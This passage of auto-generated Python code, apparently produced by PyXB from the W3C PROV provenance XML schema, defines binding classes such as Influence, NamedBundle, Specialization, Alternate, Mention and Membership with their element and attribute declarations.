None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Delegation_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 245, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __delegate.name() : __delegate, __responsible.name() : __responsible, __activity.name() : __activity, __label.name() : __label, __type.name() : __type }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Delegation = Delegation Namespace.addCategoryObject('typeBinding', 'Delegation', Delegation) # Complex type {http://www.w3.org/ns/prov#}Influence with content type ELEMENT_ONLY class Influence (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Influence with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Influence') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 249, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}influencee uses Python identifier influencee __influencee = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'influencee'), 'influencee', '__httpwww_w3_orgnsprov_Influence_httpwww_w3_orgnsprovinfluencee', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 251, 6), ) influencee = property(__influencee.value, __influencee.set, None, None) # Element {http://www.w3.org/ns/prov#}influencer uses Python identifier influencer __influencer = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'influencer'), 'influencer', '__httpwww_w3_orgnsprov_Influence_httpwww_w3_orgnsprovinfluencer', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 252, 6), ) influencer = property(__influencer.value, __influencer.set, None, None) # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Influence_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Influence_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Influence_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 257, 4) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __influencee.name() : __influencee, __influencer.name() : __influencer, __label.name() : __label, __type.name() : __type }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Influence = Influence Namespace.addCategoryObject('typeBinding', 'Influence', Influence) # Complex type {http://www.w3.org/ns/prov#}NamedBundle with content type ELEMENT_ONLY class NamedBundle (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}NamedBundle with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'NamedBundle') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 277, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}entity uses Python identifier entity __entity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'entity'), 'entity', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsproventity', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 475, 2), ) entity = property(__entity.value, __entity.set, None, None) # Element {http://www.w3.org/ns/prov#}activity uses Python identifier activity __activity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'activity'), 'activity', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovactivity', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 476, 2), ) activity = property(__activity.value, __activity.set, None, None) # Element {http://www.w3.org/ns/prov#}wasGeneratedBy uses Python identifier wasGeneratedBy __wasGeneratedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasGeneratedBy'), 'wasGeneratedBy', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovwasGeneratedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 477, 2), ) wasGeneratedBy = property(__wasGeneratedBy.value, __wasGeneratedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}used uses Python identifier used __used = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'used'), 'used', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovused', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 478, 2), ) used = property(__used.value, __used.set, None, None) # Element {http://www.w3.org/ns/prov#}wasInformedBy uses Python identifier wasInformedBy __wasInformedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasInformedBy'), 'wasInformedBy', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovwasInformedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 479, 2), ) wasInformedBy = property(__wasInformedBy.value, __wasInformedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}wasStartedBy uses Python identifier wasStartedBy __wasStartedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasStartedBy'), 'wasStartedBy', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovwasStartedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 480, 2), ) wasStartedBy = property(__wasStartedBy.value, __wasStartedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}wasEndedBy uses Python identifier wasEndedBy __wasEndedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasEndedBy'), 'wasEndedBy', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovwasEndedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 481, 2), ) wasEndedBy = property(__wasEndedBy.value, __wasEndedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}wasInvalidatedBy uses Python identifier wasInvalidatedBy __wasInvalidatedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasInvalidatedBy'), 'wasInvalidatedBy', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovwasInvalidatedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 482, 2), ) wasInvalidatedBy = property(__wasInvalidatedBy.value, __wasInvalidatedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}wasDerivedFrom uses Python identifier wasDerivedFrom __wasDerivedFrom = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasDerivedFrom'), 'wasDerivedFrom', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovwasDerivedFrom', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 486, 2), ) wasDerivedFrom = property(__wasDerivedFrom.value, __wasDerivedFrom.set, None, None) # Element {http://www.w3.org/ns/prov#}wasRevisionOf uses Python identifier wasRevisionOf __wasRevisionOf = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasRevisionOf'), 'wasRevisionOf', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovwasRevisionOf', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 487, 2), ) wasRevisionOf = property(__wasRevisionOf.value, __wasRevisionOf.set, None, None) # Element {http://www.w3.org/ns/prov#}wasQuotedFrom uses Python identifier wasQuotedFrom __wasQuotedFrom = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasQuotedFrom'), 'wasQuotedFrom', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovwasQuotedFrom', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 488, 2), ) wasQuotedFrom = property(__wasQuotedFrom.value, __wasQuotedFrom.set, None, None) # Element {http://www.w3.org/ns/prov#}hadPrimarySource uses Python identifier hadPrimarySource __hadPrimarySource = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'hadPrimarySource'), 'hadPrimarySource', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovhadPrimarySource', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 489, 2), ) hadPrimarySource = property(__hadPrimarySource.value, __hadPrimarySource.set, None, None) # Element {http://www.w3.org/ns/prov#}agent uses Python identifier agent __agent = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'agent'), 'agent', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovagent', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 493, 2), ) agent = property(__agent.value, __agent.set, None, None) # Element {http://www.w3.org/ns/prov#}person uses Python identifier person __person = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'person'), 'person', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovperson', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 494, 2), ) person = property(__person.value, __person.set, None, None) # Element {http://www.w3.org/ns/prov#}organization uses Python identifier organization __organization = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'organization'), 'organization', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovorganization', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 495, 2), ) organization = property(__organization.value, __organization.set, None, None) # Element {http://www.w3.org/ns/prov#}softwareAgent uses Python identifier softwareAgent __softwareAgent = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'softwareAgent'), 'softwareAgent', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovsoftwareAgent', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 496, 2), ) softwareAgent = property(__softwareAgent.value, __softwareAgent.set, None, None) # Element {http://www.w3.org/ns/prov#}wasAttributedTo uses Python identifier wasAttributedTo __wasAttributedTo = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasAttributedTo'), 'wasAttributedTo', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovwasAttributedTo', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 497, 2), ) wasAttributedTo = property(__wasAttributedTo.value, __wasAttributedTo.set, None, None) # Element {http://www.w3.org/ns/prov#}wasAssociatedWith uses Python identifier wasAssociatedWith __wasAssociatedWith = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasAssociatedWith'), 'wasAssociatedWith', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovwasAssociatedWith', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 498, 2), ) wasAssociatedWith = property(__wasAssociatedWith.value, __wasAssociatedWith.set, None, None) # Element {http://www.w3.org/ns/prov#}actedOnBehalfOf uses Python identifier actedOnBehalfOf __actedOnBehalfOf = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'actedOnBehalfOf'), 'actedOnBehalfOf', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovactedOnBehalfOf', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 499, 2), ) actedOnBehalfOf = property(__actedOnBehalfOf.value, __actedOnBehalfOf.set, None, None) # Element {http://www.w3.org/ns/prov#}wasInfluencedBy uses Python identifier wasInfluencedBy __wasInfluencedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasInfluencedBy'), 'wasInfluencedBy', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovwasInfluencedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 500, 2), ) wasInfluencedBy = property(__wasInfluencedBy.value, __wasInfluencedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}bundle uses Python identifier bundle __bundle = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'bundle'), 'bundle', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovbundle', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 504, 2), ) bundle = property(__bundle.value, __bundle.set, None, None) # Element {http://www.w3.org/ns/prov#}specializationOf uses Python identifier specializationOf __specializationOf = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'specializationOf'), 'specializationOf', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovspecializationOf', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 505, 2), ) specializationOf = property(__specializationOf.value, __specializationOf.set, None, None) # Element {http://www.w3.org/ns/prov#}alternateOf uses Python identifier alternateOf __alternateOf = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'alternateOf'), 'alternateOf', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovalternateOf', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 506, 2), ) alternateOf = property(__alternateOf.value, __alternateOf.set, None, None) # Element {http://www.w3.org/ns/prov#}hadMember uses Python identifier hadMember __hadMember = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'hadMember'), 'hadMember', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovhadMember', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 510, 2), ) hadMember = property(__hadMember.value, __hadMember.set, None, None) # Element {http://www.w3.org/ns/prov#}collection uses Python identifier collection __collection = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'collection'), 'collection', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovcollection', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 511, 2), ) collection = property(__collection.value, __collection.set, None, None) # Element {http://www.w3.org/ns/prov#}emptyCollection uses Python identifier emptyCollection __emptyCollection = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'emptyCollection'), 'emptyCollection', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovemptyCollection', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 512, 2), ) emptyCollection = property(__emptyCollection.value, __emptyCollection.set, None, None) # Element {http://www.w3.org/ns/prov#}plan uses Python identifier plan __plan = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'plan'), 'plan', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovplan', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 516, 2), ) plan = property(__plan.value, __plan.set, None, None) # Element {http://www.w3.org/ns/prov#}mentionOf uses Python identifier mentionOf __mentionOf = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'mentionOf'), 'mentionOf', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovmentionOf', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 520, 2), ) mentionOf = property(__mentionOf.value, __mentionOf.set, None, None) # Element {http://www.w3.org/ns/prov#}dictionary uses Python identifier dictionary __dictionary = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'dictionary'), 'dictionary', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovdictionary', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 532, 1), ) dictionary = property(__dictionary.value, __dictionary.set, None, None) # Element {http://www.w3.org/ns/prov#}emptyDictionary uses Python identifier emptyDictionary __emptyDictionary = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'emptyDictionary'), 'emptyDictionary', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovemptyDictionary', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 542, 1), ) emptyDictionary = property(__emptyDictionary.value, __emptyDictionary.set, None, None) # Element {http://www.w3.org/ns/prov#}hadDictionaryMember uses Python identifier hadDictionaryMember __hadDictionaryMember = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'hadDictionaryMember'), 'hadDictionaryMember', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovhadDictionaryMember', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 563, 1), ) hadDictionaryMember = property(__hadDictionaryMember.value, __hadDictionaryMember.set, None, None) # Element {http://www.w3.org/ns/prov#}derivedByInsertionFrom uses Python identifier derivedByInsertionFrom __derivedByInsertionFrom = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'derivedByInsertionFrom'), 'derivedByInsertionFrom', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovderivedByInsertionFrom', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 579, 1), ) derivedByInsertionFrom = property(__derivedByInsertionFrom.value, __derivedByInsertionFrom.set, None, None) # Element {http://www.w3.org/ns/prov#}derivedByRemovalFrom uses Python identifier derivedByRemovalFrom __derivedByRemovalFrom = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'derivedByRemovalFrom'), 'derivedByRemovalFrom', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovderivedByRemovalFrom', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 595, 1), ) derivedByRemovalFrom = property(__derivedByRemovalFrom.value, __derivedByRemovalFrom.set, None, None) # Element {http://www.w3.org/ns/prov#}others uses Python identifier others __others = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'others'), 'others', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovothers', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 661, 3), ) others = property(__others.value, __others.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_NamedBundle_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 282, 1) id = property(__id.value, __id.set, None, None) _ElementMap.update({ __entity.name() : __entity, __activity.name() : __activity, __wasGeneratedBy.name() : __wasGeneratedBy, __used.name() : __used, __wasInformedBy.name() : __wasInformedBy, __wasStartedBy.name() : __wasStartedBy, __wasEndedBy.name() : __wasEndedBy, __wasInvalidatedBy.name() : __wasInvalidatedBy, __wasDerivedFrom.name() : __wasDerivedFrom, __wasRevisionOf.name() : __wasRevisionOf, __wasQuotedFrom.name() : __wasQuotedFrom, __hadPrimarySource.name() : __hadPrimarySource, __agent.name() : __agent, __person.name() : __person, __organization.name() : __organization, __softwareAgent.name() : __softwareAgent, __wasAttributedTo.name() : __wasAttributedTo, __wasAssociatedWith.name() : __wasAssociatedWith, __actedOnBehalfOf.name() : __actedOnBehalfOf, __wasInfluencedBy.name() : __wasInfluencedBy, __bundle.name() : __bundle, __specializationOf.name() : __specializationOf, __alternateOf.name() : __alternateOf, __hadMember.name() : __hadMember, __collection.name() : __collection, __emptyCollection.name() : __emptyCollection, __plan.name() : __plan, __mentionOf.name() : __mentionOf, __dictionary.name() : __dictionary, __emptyDictionary.name() : __emptyDictionary, __hadDictionaryMember.name() : __hadDictionaryMember, __derivedByInsertionFrom.name() : __derivedByInsertionFrom, __derivedByRemovalFrom.name() : __derivedByRemovalFrom, __others.name() : __others }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.NamedBundle = NamedBundle Namespace.addCategoryObject('typeBinding', 'NamedBundle', NamedBundle) # Complex type {http://www.w3.org/ns/prov#}Specialization with content type ELEMENT_ONLY class Specialization (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Specialization with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Specialization') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 289, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}specificEntity uses Python identifier specificEntity __specificEntity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'specificEntity'), 'specificEntity', '__httpwww_w3_orgnsprov_Specialization_httpwww_w3_orgnsprovspecificEntity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 291, 6), ) specificEntity = property(__specificEntity.value, __specificEntity.set, None, None) # Element {http://www.w3.org/ns/prov#}generalEntity uses Python identifier generalEntity __generalEntity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'generalEntity'), 'generalEntity', '__httpwww_w3_orgnsprov_Specialization_httpwww_w3_orgnsprovgeneralEntity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 292, 6), ) generalEntity = property(__generalEntity.value, __generalEntity.set, None, None) _ElementMap.update({ __specificEntity.name() : __specificEntity, __generalEntity.name() : __generalEntity }) _AttributeMap.update({ }) _module_typeBindings.Specialization = Specialization Namespace.addCategoryObject('typeBinding', 'Specialization', Specialization) # Complex type {http://www.w3.org/ns/prov#}Alternate with content type ELEMENT_ONLY class Alternate (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Alternate with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Alternate') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 296, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}alternate1 uses Python identifier alternate1 __alternate1 = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'alternate1'), 'alternate1', '__httpwww_w3_orgnsprov_Alternate_httpwww_w3_orgnsprovalternate1', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 298, 6), ) alternate1 = property(__alternate1.value, __alternate1.set, None, None) # Element {http://www.w3.org/ns/prov#}alternate2 uses Python identifier alternate2 __alternate2 = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'alternate2'), 'alternate2', '__httpwww_w3_orgnsprov_Alternate_httpwww_w3_orgnsprovalternate2', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 299, 6), ) alternate2 = property(__alternate2.value, __alternate2.set, None, None) _ElementMap.update({ __alternate1.name() : __alternate1, __alternate2.name() : __alternate2 }) _AttributeMap.update({ }) _module_typeBindings.Alternate = Alternate Namespace.addCategoryObject('typeBinding', 'Alternate', Alternate) # Complex type {http://www.w3.org/ns/prov#}Mention with content type ELEMENT_ONLY class Mention (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Mention with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Mention') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 304, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}specificEntity uses Python identifier specificEntity __specificEntity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'specificEntity'), 'specificEntity', '__httpwww_w3_orgnsprov_Mention_httpwww_w3_orgnsprovspecificEntity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 306, 6), ) specificEntity = property(__specificEntity.value, __specificEntity.set, None, None) # Element {http://www.w3.org/ns/prov#}generalEntity uses Python identifier generalEntity __generalEntity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'generalEntity'), 'generalEntity', '__httpwww_w3_orgnsprov_Mention_httpwww_w3_orgnsprovgeneralEntity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 307, 6), ) generalEntity = property(__generalEntity.value, __generalEntity.set, None, None) # Element {http://www.w3.org/ns/prov#}bundle uses Python identifier bundle __bundle = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'bundle'), 'bundle', '__httpwww_w3_orgnsprov_Mention_httpwww_w3_orgnsprovbundle', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 308, 6), ) bundle = property(__bundle.value, __bundle.set, None, None) _ElementMap.update({ __specificEntity.name() : __specificEntity, __generalEntity.name() : __generalEntity, __bundle.name() : __bundle }) _AttributeMap.update({ }) _module_typeBindings.Mention = Mention Namespace.addCategoryObject('typeBinding', 'Mention', Mention) # Complex type {http://www.w3.org/ns/prov#}Membership with content type ELEMENT_ONLY class Membership (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Membership with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Membership') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 390, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}collection uses Python identifier collection __collection = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'collection'), 'collection', '__httpwww_w3_orgnsprov_Membership_httpwww_w3_orgnsprovcollection', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 392, 6), ) collection = property(__collection.value, __collection.set, None, None) # Element {http://www.w3.org/ns/prov#}entity uses Python identifier entity __entity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'entity'), 